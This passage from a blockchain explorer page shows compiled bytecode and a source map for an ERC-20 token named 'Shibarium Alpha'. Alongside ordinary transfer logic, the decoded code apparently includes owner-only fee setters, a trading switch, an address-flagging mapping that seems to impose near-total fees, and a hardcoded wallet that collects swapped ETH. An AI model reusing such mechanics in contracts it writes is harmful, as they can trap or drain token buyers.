0909a04881525060848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611637573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108539190611adb565b600080600080600080600060e0888a03121561167757600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600060208083528351808285015260005b818110156116d5578581018301518582016040015282016116b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461170b57600080fd5b50565b6000806040838503121561172157600080fd5b823561172c816116f6565b946020939093013593505050565b60405160a0810167ffffffffffffffff8111828210171561176b57634e487b7160e01b600052604160045260246000fd5b60405290565b60405160c0810167ffffffffffffffff8111828210171561176b57634e487b7160e01b600052604160045260246000fd5b60006112c08083850312156117b657600080fd5b601f84818501126117c657600080fd5b6117ce61173a565b9184019180868411156117e057600080fd5b855b8481101561188a5787848201126117f95760008081fd5b611801611771565b806103c083018a8111156118155760008081fd5b835b81811015611876578b8882011261182e5760008081fd5b61183661173a565b8060a083018e8111156118495760008081fd5b835b8181101561186357803584526020938401930161184b565b505085525060209093019260a001611817565b50508452506020909201916103c0016117e2565b509695505050505050565b6000806000606084860312156118aa57600080fd5b83356118b5816116f6565b925060208401356118c5816116f6565b929592945050506040919091013590565b6000602082840312156118e857600080fd5b81356106ab816116f6565b6000806040838503121561190657600080fd5b8235611911816116f6565b91506020830135801515811461192657600080fd5b809150509250929050565b6000806040838503121561194457600080fd5b50508035926020909101359150565b6000806040838503121561196657600080fd5b8235611971816116f6565b91506020830135611926816116f6565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60ff81811683821601908111156105bf576105bf6119b7565b808201808211156105bf576105bf6119b7565b6000816000190483118215151615611a1357611a136119b7565b500290565b600082611a3557634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105bf576105bf6119b7565b600060208284031215611a5f57600080fd5b81516106ab816116f6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aba5784516001600160a01b031683529383019391830191600101611a95565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611af057600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080df88fe9af225e46043485f02f2857fadbf7e34fcd945a0c0ef98d3f04c0efa64736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806348ff2b8b116100b65780639358928b1161006f5780639358928b146103cd57806395d89b41146103e2578063a8aa1b3114610414578063a9059cbb14610434578063dd62ed3e14610454578063f2fde38b1461049a57600080fd5b806348ff2b8b146102f057806370a08231146103105780637d1db4a514610346578063884870c71461035b578063893d20e81461037b5780638c41180e146103ad57600080fd5b80631f976b7e116101085780631f976b7e1461022b57806323b872dd14610240578063293230b8146102605780632f54bf6e14610275578063313ce567146102a45780633f4218e0146102c057600080fd5b8063044019301461015057806306fdde0314610172578063095ea7b3146101bc57806314e1d5eb146101ec57806318160ddd1461020c57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061017061016b36600461165c565b6104ba565b005b34801561017e57600080fd5b5060408051808201909152600f81526e53686962617269756d20416c70686160881b60208201525b6040516101b391906116a8565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461170e565b6105ae565b60405190151581526020016101b3565b3480156101f857600080fd5b506101dc6102073660046117a2565b6105c5565b34801561021857600080fd5b506001545b6040519081526020016101b3565b34801561023757600080fd5b5061021d61061e565b34801561024c57600080fd5b506101dc61025b366004611895565b610648565b34801561026c57600080fd5b506101706106b2565b34801561028157600080fd5b506101dc6102903660046118d6565b6000546001600160a01b0391821691161490565b3480156102b057600080fd5b50604051600981526020016101b3565b3480156102cc57600080fd5b506101dc6102db3660046118d6565b60066020526000908152604090205460ff1681565b3480156102fc57600080fd5b5061017061030b3660046118f3565b6106f1565b34801561031c57600080fd5b5061021d61032b3660046118d6565b6001600160a01b031660009081526004602052604090205490565b34801561035257600080fd5b5061021d610746565b34801561036757600080fd5b50610170610376366004611931565b610757565b34801561038757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101b3565b3480156103b957600080fd5b506101706103c83660046118f3565b61085a565b3480156103d957600080fd5b5061021d6108af565b3480156103ee57600080fd5b5060408051808201909152600981526853484942414c50484160b81b60208201526101a6565b34801561042057600080fd5b50600954610395906001600160a01b031681565b34801561044057600080fd5b506101dc61044f36600461170e565b61091b565b34801561046057600080fd5b5061021d61046f366004611953565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104a657600080fd5b506101706104b53660046118d6565b610928565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016104e490611981565b60405180910390fd5b600a879055600b869055600d859055600c849055600e839055600f829055601081905560115461051e9060056109a6565b600e541115801561053e57506011546105389060056109a6565b600f5411155b6105a55760405162461bcd60e51b815260206004820152603260248201527f746f74616c46656520616e64205f6e657753656c6c56616c75652063616e6e6f60448201527174206265206d6f7265207468616e2032302560701b60648201526084016104e4565b50505050505050565b60006105bb3384846109b2565b5060015b92915050565b6060818101516080908101510151600091106105e057600080fd5b6001600260006105f082846119cd565b6060860151608090810151015160ff9190911691506106109082906119e6565b600f55506001949350505050565b600060115460035461062f60015490565b61063991906119f9565b6106439190611a18565b905090565b6000610655848484610ad6565b6106a784336106a285604051806060016040528060288152602001611b0a602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610bf1565b6109b2565b5060015b9392505050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016104e490611981565b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016104e490611981565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600060115460025461062f60015490565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016104e490611981565b600060648361078f60015490565b61079991906119f9565b6107a39190611a18565b905060006064836107b360015490565b6107bd91906119f9565b6107c79190611a18565b60028590556003849055905060006107f56103e86107ef60056107e960015490565b90610c1d565b906109a6565b90508083101580156108075750808210155b6108535760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e35250060448201526064016104e4565b5050505050565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016104e490611981565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd5460015491926106439290916109159190610c29565b90610c29565b60006105bb338484610ad6565b6000546001600160a01b031633146109525760405162461bcd60e51b81526004016104e490611981565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b60006106ab8284611a18565b6001600160a01b038316610a145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e4565b6001600160a01b038216610a755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e4565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610ae1838383610c35565b610aeb8383610de4565b610af58383610e79565b610b00838383610ed0565b610b0b838383611007565b6001600160a01b038316600090815260046020526040902054610b2e9082610c29565b6001600160a01b038416600090815260046020526040812091909155610b54848461102c565b610b5e5781610b69565b610b69848484611072565b6001600160a01b038416600090815260046020526040902054909150610b8f9082611160565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be39085815260200190565b60405180910390a350505050565b60008184841115610c155760405162461bcd60e51b81526004016104e491906116a8565b505050900390565b60006106ab82846119f9565b60006106ab8284611a3a565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e4565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e4565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e4565b6001600160a01b038316600090815260046020526040902054811115610ddf5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016104e4565b505050565b6001600160a01b03821660009081526006602052604090205460ff16158015610e2657506001600160a01b03811660009081526006602052604090205460ff16155b15610e7557600954600160a01b900460ff16610e755760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016104e4565b5050565b6009546001600160a01b038281169116148015610eaf57506001600160a01b03821660009081526006602052604090205460ff16155b15610e7557600160136000828254610ec791906119e6565b90915550505050565b6009546001600160a01b03848116911614610f7657610eed61061e565b81111580610f1357506001600160a01b03831660009081526006602052604090205460ff165b80610f3657506001600160a01b03821660009081526006602052604090205460ff165b610f765760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104e4565b610f7e610746565b81111580610fa457506001600160a01b03831660009081526006602052604090205460ff165b80610fc757506001600160a01b03821660009081526006602052604090205460ff165b610ddf5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104e4565b61101283838361116c565b15610ddf57611022601554611219565b6000601355505050565b6001600160a01b03821660009081526006602052604081205460ff161580156106ab5750506001600160a01b031660009081526006602052604090205460ff1615919050565b60008061107f85856113a4565b11156111595760006110a261109486866113a4565b6011546107e99086906109a6565b306000908152600460205260409020549091506110bf9082611160565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111109085815260200190565b60405180910390a3600d5415611147576111473061dead611142600d546107e9601154896109a690919063ffffffff16565b610ad6565b6111518382610c29565b9150506106ab565b5092915050565b60006106ab82846119e6565b6016546015543060009081526004602052604081205460145491938510159211159060ff161580156111a0575060125460ff165b80156111b55750600954600160a01b900460ff165b80156111be5750815b80156111e357506001600160a01b03861660009081526006602052604090205460ff16155b80156111fc57506009546001600160a01b038681169116145b8015611206575060015b801561120f5750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600a54600093611253936002936107e993919261124d928391611160565b90611160565b90506000611270826107ef600a5486610c1d90919063ffffffff16565b9050600061127e8483610c29565b90504761128a82611445565b60006112964783610c29565b905060006112b96112b2600a5488610c2990919063ffffffff16565b83906109a6565b905060006112d2600a5483610c1d90919063ffffffff16565b905080156112e4576112e4868261159f565b600b546000906112f9906107e9856002610c1d565b905080156113445760405173cbdd7cb39fe4bc7772f6d1e8aa0909a0488152509082156108fc029083906000818181858888f19350505050158015611342573d6000803e3d6000fd5b505b47801561138e5760405173cbdd7cb39fe4bc7772f6d1e8aa0909a0488152509082156108fc029083906000818181858888f1935050505015801561138c573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6001600160a01b03821660009081526007602052604081205460ff16806113e357506001600160a01b03821660009081526007602052604090205460ff165b156113fd576011546113f6906064610c29565b90506105bf565b6009546001600160a01b039081169083160361141c5750600f546105bf565b6009546001600160a01b039081169084160361143b5750600e546105bf565b5060105492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061147a5761147a6119a1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f79190611a4d565b8160018151811061150a5761150a6119a1565b6001600160a01b03928316602091820292909201015260085461153091309116846109b2565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611569908590600090869030904290600401611a6a565b600060405180830381600087803b15801561158357600080fd5b505af1158015611597573d6000803e3d6000fd5b505050505050565b6008546115b79030906001600160a01b0316846109b2565b60085460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015273cbdd7cb39fe4bc7772f6d1e8aa0909a04881525060848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611637573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108539190611adb565b600080600080600080600060e0888a03121561167757600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600060208083528351808285015260005b818110156116d5578581018301518582016040015282016116b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461170b57600080fd5b50565b6000806040838503121561172157600080fd5b823561172c816116f6565b946020939093013593505050565b60405160a0810167ffffffffffffffff8111828210171561176b57634e487b7160e01b600052604160045260246000fd5b60405290565b60405160c0810167ffffffffffffffff8111828210171561176b57634e487b7160e01b600052604160045260246000fd5b60006112c08083850312156117b657600080fd5b601f84818501126117c657600080fd5b6117ce61173a565b9184019180868411156117e057600080fd5b855b8481101561188a5787848201126117f95760008081fd5b611801611771565b806103c083018a8111156118155760008081fd5b835b81811015611876578b8882011261182e5760008081fd5b61183661173a565b8060a083018e8111156118495760008081fd5b835b8181101561186357803584526020938401930161184b565b505085525060209093019260a001611817565b50508452506020909201916103c0016117e2565b509695505050505050565b6000806000606084860312156118aa57600080fd5b83356118b5816116f6565b925060208401356118c5816116f6565b929592945050506040919091013590565b6000602082840312156118e857600080fd5b81356106ab816116f6565b6000806040838503121561190657600080fd5b8235611911816116f6565b91506020830135801515811461192657600080fd5b809150509250929050565b6000806040838503121561194457600080fd5b50508035926020909101359150565b6000806040838503121561196657600080fd5b8235611971816116f6565b91506020830135611926816116f6565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60ff81811683821601908111156105bf576105bf6119b7565b808201808211156105bf576105bf6119b7565b6000816000190483118215151615611a1357611a136119b7565b500290565b600082611a3557634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105bf576105bf6119b7565b600060208284031215611a5f57600080fd5b81516106ab816116f6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aba5784516001600160a01b031683529383019391830191600101611a95565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611af057600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080df88fe9af225e46043485f02f2857fadbf7e34fcd945a0c0ef98d3f04c0efa64736f6c63430008100033

Deployed Bytecode Sourcemap

4735:11333:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9859:545;;;;;;;;;;-1:-1:-1;9859:545:0;;;;;:::i;:::-;;:::i;:::-;;7032:67;;;;;;;;;;-1:-1:-1;7092:5:0;;;;;;;;;;;;-1:-1:-1;;;7092:5:0;;;;7032:67;;;;;;;:::i;:::-;;;;;;;;8242:133;;;;;;;;;;-1:-1:-1;8242:133:0;;;;;:::i;:::-;;:::i;:::-;;;1785:14:1;;1778:22;1760:41;;1748:2;1733:18;8242:133:0;1620:187:1;10418:306:0;;;;;;;;;;-1:-1:-1;10418:306:0;;;;;:::i;:::-;;:::i;7412:84::-;;;;;;;;;;-1:-1:-1;7482:12:0;;7412:84;;;4738:25:1;;;4726:2;4711:18;7412:84:0;4592:177:1;8644:119:0;;;;;;;;;;;;;:::i;15413:309::-;;;;;;;;;;-1:-1:-1;15413:309:0;;;;;:::i;:::-;;:::i;7255:67::-;;;;;;;;;;;;;:::i;3115:87::-;;;;;;;;;;-1:-1:-1;3115:87:0;;;;;:::i;:::-;3170:4;3195:5;-1:-1:-1;;;;;3184:16:0;;;3195:5;;3184:16;;3115:87;7182:67;;;;;;;;;;-1:-1:-1;7182:67:0;;4961:1;5629:36:1;;5617:2;5602:18;7182:67:0;5487:184:1;5254:44:0;;;;;;;;;;-1:-1:-1;5254:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8128:108;;;;;;;;;;-1:-1:-1;8128:108:0;;;;;:::i;:::-;;:::i;7502:103::-;;;;;;;;;;-1:-1:-1;7502:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7585:18:0;7568:7;7585:18;;;:9;:18;;;;;;;7502:103;8525:113;;;;;;;;;;;;;:::i;10732:425::-;;;;;;;;;;-1:-1:-1;10732:425:0;;;;;:::i;:::-;;:::i;7328:78::-;;;;;;;;;;-1:-1:-1;7380:7:0;7398:5;-1:-1:-1;;;;;7398:5:0;7328:78;;;-1:-1:-1;;;;;6514:32:1;;;6496:51;;6484:2;6469:18;7328:78:0;6350:203:1;8023:99:0;;;;;;;;;;-1:-1:-1;8023:99:0;;;;;:::i;:::-;;:::i;8381:138::-;;;;;;;;;;;;;:::i;7105:71::-;;;;;;;;;;-1:-1:-1;7167:7:0;;;;;;;;;;;;-1:-1:-1;;;7167:7:0;;;;7105:71;;5372:19;;;;;;;;;;-1:-1:-1;5372:19:0;;;;-1:-1:-1;;;;;5372:19:0;;;7611:139;;;;;;;;;;-1:-1:-1;7611:139:0;;;;;:::i;:::-;;:::i;7756:127::-;;;;;;;;;;-1:-1:-1;7756:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7854:18:0;;;7837:7;7854:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7756:127;3208:111;;;;;;;;;;-1:-1:-1;3208:111:0;;;;;:::i;:::-;;:::i;9859:545::-;3170:4;3195:5;-1:-1:-1;;;;;3195:5:0;3082:10;3184:16;3066:38;;;;-1:-1:-1;;;3066:38:0;;;;;;;:::i;:::-;;;;;;;;;10035:12:::1;:25:::0;;;10071:12:::1;:25:::0;;;10107:7:::1;:15:::0;;;10133:14:::1;:29:::0;;;10173:8:::1;:17:::0;;;10201:13:::1;:21:::0;;;10233:11:::1;:20:::0;;;10284:11:::1;::::0;:18:::1;::::0;10300:1:::1;10284:15;:18::i;:::-;10272:8;;:30;;:69;;;;-1:-1:-1::0;10323:11:0::1;::::0;:18:::1;::::0;10339:1:::1;10323:15;:18::i;:::-;10306:13;;:35;;10272:69;10264:132;;;::::0;-1:-1:-1;;;10264:132:0;;7747:2:1;10264:132:0::1;::::0;::::1;7729:21:1::0;7786:2;7766:18;;;7759:30;7825:34;7805:18;;;7798:62;-1:-1:-1;;;7876:18:1;;;7869:48;7934:19;;10264:132:0::1;7545:414:1::0;10264:132:0::1;9859:545:::0;;;;;;;:::o;8242:133::-;8317:4;8324:37;8333:10;8345:7;8354:6;8324:8;:37::i;:::-;-1:-1:-1;8369:4:0;8242:133;;;;;:::o;10418:306::-;10529:2;10512:9;;;;:12;;;;;:15;;10487:4;;-1:-1:-1;10504:28:0;;;;;;10559:1;10590;10543:13;10622:18;10590:1;10559;10622:18;:::i;:::-;10667:9;;;;:12;;;;;:15;;10602:38;;;;;;-1:-1:-1;10667:27:0;;10602:38;;10667:27;:::i;:::-;10651:13;:43;-1:-1:-1;10712:4:0;;10418:306;-1:-1:-1;;;;10418:306:0:o;8644:119::-;8695:7;8750:11;;8728:19;;8712:13;7482:12;;;7412:84;8712:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;8705:56;;8644:119;:::o;15413:309::-;15511:4;15528:36;15538:6;15546:9;15557:6;15528:9;:36::i;:::-;15575:117;15584:6;15592:10;15604:87;15640:6;15604:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15604:19:0;;;;;;:11;:19;;;;;;;;15624:10;15604:31;;;;;;;;;:87;:35;:87::i;:::-;15575:8;:117::i;:::-;-1:-1:-1;15710:4:0;15413:309;;;;;;:::o;7255:67::-;3170:4;3195:5;-1:-1:-1;;;;;3195:5:0;3082:10;3184:16;3066:38;;;;-1:-1:-1;;;3066:38:0;;;;;;;:::i;:::-;7299:14:::1;:21:::0;;-1:-1:-1;;;;7299:21:0::1;-1:-1:-1::0;;;7299:21:0::1;::::0;;7255:67::o;8128:108::-;3170:4;3195:5;-1:-1:-1;;;;;3195:5:0;3082:10;3184:16;3066:38;;;;-1:-1:-1;;;3066:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8202:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8202:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8128:108::o;8525:113::-;8570:7;8625:11;;8603:19;;8587:13;7482:12;;;7412:84;10732:425;3170:4;3195:5;-1:-1:-1;;;;;3195:5:0;3082:10;3184:16;3066:38;;;;-1:-1:-1;;;3066:38:0;;;;;;;:::i;:::-;10815:13:::1;10856:3;10848:4;10832:13;7482:12:::0;;;7412:84;10832:13:::1;:20;;;;:::i;:::-;10831:28;;;;:::i;:::-;10815:44;;10870:19;10919:3;10909:6;10893:13;7482:12:::0;;;7412:84;10893:13:::1;:22;;;;:::i;:::-;10892:30;;;;:::i;:::-;10933:19;:26:::0;;;10970:19:::1;:28:::0;;;10870:52;-1:-1:-1;;11025:30:0::1;11050:4;11025:20;11043:1;11025:13;7482:12:::0;;;7412:84;11025:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;11009:46;;11083:5;11074;:14;;:38;;;;;11107:5;11092:11;:20;;11074:38;11066:83;;;::::0;-1:-1:-1;;;11066:83:0;;9108:2:1;11066:83:0::1;::::0;::::1;9090:21:1::0;9147:2;9127:18;;;9120:30;9186:33;9166:18;;;9159:61;9237:18;;11066:83:0::1;8906:355:1::0;11066:83:0::1;10804:353;;;10732:425:::0;;:::o;8023:99::-;3170:4;3195:5;-1:-1:-1;;;;;3195:5:0;3082:10;3184:16;3066:38;;;;-1:-1:-1;;;3066:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8094:15:0;;;::::1;;::::0;;;:5:::1;:15;::::0;;;;:26;;-1:-1:-1;;8094:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8023:99::o;8381:138::-;7585:9;:18;;;;6087:42;8440:7;7585:18;;;;;8457:12;;8440:7;;8457:60;;7585:18;;8457:33;;:12;:16;:33::i;:::-;:37;;:60::i;7611:139::-;7689:4;7696:40;7706:10;7718:9;7729:6;7696:9;:40::i;3208:111::-;3170:4;3195:5;-1:-1:-1;;;;;3195:5:0;3082:10;3184:16;3066:38;;;;-1:-1:-1;;;3066:38:0;;;;;;;:::i;:::-;3274:5:::1;:11:::0;;-1:-1:-1;;;;;;3274:11:0::1;-1:-1:-1::0;;;;;3274:11:0;::::1;::::0;;::::1;::::0;;;3292:25:::1;::::0;6496:51:1;;;3292:25:0::1;::::0;6484:2:1;6469:18;3292:25:0::1;;;;;;;3208:111:::0;:::o;410:82::-;468:7;485:5;489:1;485;:5;:::i;15730:335::-;-1:-1:-1;;;;;15823:19:0;;15815:68;;;;-1:-1:-1;;;15815:68:0;;9684:2:1;15815:68:0;;;9666:21:1;9723:2;9703:18;;;9696:30;9762:34;9742:18;;;9735:62;-1:-1:-1;;;9813:18:1;;;9806:34;9857:19;;15815:68:0;9482:400:1;15815:68:0;-1:-1:-1;;;;;15902:21:0;;15894:68;;;;-1:-1:-1;;;15894:68:0;;10089:2:1;15894:68:0;;;10071:21:1;10128:2;10108:18;;;10101:30;10167:34;10147:18;;;10140:62;-1:-1:-1;;;10218:18:1;;;10211:32;10260:19;;15894:68:0;9887:398:1;15894:68:0;-1:-1:-1;;;;;15973:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16025:32;;4738:25:1;;;16025:32:0;;4711:18:1;16025:32:0;;;;;;;15730:335;;;:::o;9218:633::-;9307:37;9318:6;9326:9;9337:6;9307:10;:37::i;:::-;9355:38;9375:6;9383:9;9355:19;:38::i;:::-;9404:35;9421:6;9429:9;9404:16;:35::i;:::-;9450:39;9463:6;9471:9;9482:6;9450:12;:39::i;:::-;9501:35;9510:6;9518:9;9529:6;9501:8;:35::i;:::-;-1:-1:-1;;;;;9567:17:0;;;;;;:9;:17;;;;;;:29;;9589:6;9567:21;:29::i;:::-;-1:-1:-1;;;;;9547:17:0;;;;;;:9;:17;;;;;:49;;;;9632:32;9557:6;9654:9;9632:13;:32::i;:::-;:78;;9704:6;9632:78;;;9667:34;9675:6;9683:9;9694:6;9667:7;:34::i;:::-;-1:-1:-1;;;;;9744:20:0;;;;;;:9;:20;;;;;;9607:103;;-1:-1:-1;9744:40:0;;9607:103;9744:24;:40::i;:::-;-1:-1:-1;;;;;9721:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9800:43;;;;;;;;;;9828:14;4738:25:1;;4726:2;4711:18;;4592:177;9800:43:0;;;;;;;;9296:555;9218:633;;;:::o;1447:162::-;1533:7;1579:12;1571:6;;;;1563:29;;;;-1:-1:-1;;;1563:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1601:5:0;;;1447:162::o;322:82::-;380:7;397:5;401:1;397;:5;:::i;234:82::-;292:7;309:5;313:1;309;:5;:::i;8771:439::-;-1:-1:-1;;;;;8875:20:0;;8867:70;;;;-1:-1:-1;;;8867:70:0;;10625:2:1;8867:70:0;;;10607:21:1;10664:2;10644:18;;;10637:30;10703:34;10683:18;;;10676:62;-1:-1:-1;;;10754:18:1;;;10747:35;10799:19;;8867:70:0;10423:401:1;8867:70:0;-1:-1:-1;;;;;8956:23:0;;8948:71;;;;-1:-1:-1;;;8948:71:0;;11031:2:1;8948:71:0;;;11013:21:1;11070:2;11050:18;;;11043:30;11109:34;11089:18;;;11082:62;-1:-1:-1;;;11160:18:1;;;11153:33;11203:19;;8948:71:0;10829:399:1;8948:71:0;9055:1;9038:6;:19;9030:73;;;;-1:-1:-1;;;9030:73:0;;11435:2:1;9030:73:0;;;11417:21:1;11474:2;11454:18;;;11447:30;11513:34;11493:18;;;11486:62;-1:-1:-1;;;11564:18:1;;;11557:39;11613:19;;9030:73:0;11233:405:1;9030:73:0;-1:-1:-1;;;;;7585:18:0;;7568:7;7585:18;;;:9;:18;;;;;;9122:6;:27;;9114:88;;;;-1:-1:-1;;;9114:88:0;;11845:2:1;9114:88:0;;;11827:21:1;11884:2;11864:18;;;11857:30;11923:34;11903:18;;;11896:62;-1:-1:-1;;;11974:18:1;;;11967:47;12031:19;;9114:88:0;11643:413:1;9114:88:0;8771:439;;;:::o;11165:191::-;-1:-1:-1;;;;;11258:19:0;;;;;;:11;:19;;;;;;;;11257:20;:47;;;;-1:-1:-1;;;;;;11282:22:0;;;;;;:11;:22;;;;;;;;11281:23;11257:47;11254:95;;;11314:14;;-1:-1:-1;;;11314:14:0;;;;11306:41;;;;-1:-1:-1;;;11306:41:0;;12263:2:1;11306:41:0;;;12245:21:1;12302:2;12282:18;;;12275:30;-1:-1:-1;;;12321:18:1;;;12314:44;12375:18;;11306:41:0;12061:338:1;11306:41:0;11165:191;;:::o;11366:159::-;11463:4;;-1:-1:-1;;;;;11450:17:0;;;11463:4;;11450:17;:41;;;;-1:-1:-1;;;;;;11472:19:0;;;;;;:11;:19;;;;;;;;11471:20;11450:41;11447:71;;;11514:1;11493:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11366:159:0;;:::o;11533:349::-;11644:4;;-1:-1:-1;;;;;11634:14:0;;;11644:4;;11634:14;11631:130;;11668:20;:18;:20::i;:::-;11658:6;:30;;:53;;;-1:-1:-1;;;;;;11692:19:0;;;;;;:11;:19;;;;;;;;11658:53;:79;;;-1:-1:-1;;;;;;11715:22:0;;;;;;:11;:22;;;;;;;;11658:79;11650:109;;;;-1:-1:-1;;;11650:109:0;;12606:2:1;11650:109:0;;;12588:21:1;12645:2;12625:18;;;12618:30;-1:-1:-1;;;12664:18:1;;;12657:47;12721:18;;11650:109:0;12404:341:1;11650:109:0;11789:14;:12;:14::i;:::-;11779:6;:24;;:47;;;-1:-1:-1;;;;;;11807:19:0;;;;;;:11;:19;;;;;;;;11779:47;:73;;;-1:-1:-1;;;;;;11830:22:0;;;;;;:11;:22;;;;;;;;11779:73;11771:103;;;;-1:-1:-1;;;11771:103:0;;12606:2:1;11771:103:0;;;12588:21:1;12645:2;12625:18;;;12618:30;-1:-1:-1;;;12664:18:1;;;12657:47;12721:18;;11771:103:0;12404:341:1;14165:197:0;14257:41;14272:6;14280:9;14291:6;14257:14;:41::i;:::-;14254:101;;;14300:29;14315:13;;14300:14;:29::i;:::-;14351:1;14331:9;:22;14165:197;;;:::o;14370:160::-;-1:-1:-1;;;;;14476:19:0;;14451:4;14476:19;;;:11;:19;;;;;;;;14475:20;:47;;;;-1:-1:-1;;;;;;;14500:22:0;;;;;:11;:22;;;;;;;;14499:23;;14370:160;-1:-1:-1;14370:160:0:o;14859:546::-;14945:7;15001:1;14968:30;14980:6;14988:9;14968:11;:30::i;:::-;:34;14965:418;;;15014:17;15034:59;15062:30;15074:6;15082:9;15062:11;:30::i;:::-;15045:11;;15034:23;;:6;;:10;:23::i;:59::-;15149:4;15131:24;;;;:9;:24;;;;;;15014:79;;-1:-1:-1;15131:39:0;;15014:79;15131:28;:39::i;:::-;15122:4;15104:24;;;;:9;:24;;;;;;;:66;;;;15186:42;;-1:-1:-1;;;;;15186:42:0;;;;;;;15218:9;4738:25:1;;4726:2;4711:18;;4592:177;15186:42:0;;;;;;;;15242:7;;:20;15239:104;;15264:77;15282:4